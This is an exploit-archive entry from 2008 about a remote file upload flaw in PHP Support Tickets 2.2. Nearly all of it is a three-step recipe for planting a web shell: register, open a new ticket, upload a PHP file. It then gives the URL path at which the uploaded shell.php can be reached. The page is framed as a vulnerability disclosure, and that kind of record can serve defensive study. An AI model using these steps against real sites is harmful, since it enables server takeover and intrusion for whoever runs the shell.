[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : PHP Support Tickets 2.2 Remote File Upload Vulnerability
# Published : 2008-12-11
# Author : ahmadbady
# Previous Title : Banner Exchange Java (Auth Bypass) SQL Injection Vulnerability
# Next Title : The Net Guys ASPired2Poll Remote Database Disclosure Vulnerability
****(remote file upload)****
script: PHP_Support_Tickets_v2.2
***************************************************************************
download from:http://www.phpsupporttickets.com/modules/phpsupporttickets.com/dist/free/PHP_Support_Tickets_v2.2.zip
***************************************************************************
1:www.site.com/path/index.php?page=register
2:New Ticket
3:upload php file
shell www.site.com/path/upload/you user/phpst_ticket_number/shell.php
***************************************************
Author: ahmadbady
my mail: kivi_hacker666@yahoo.com
***************************************************
# www.Syue.com [2008-12-11]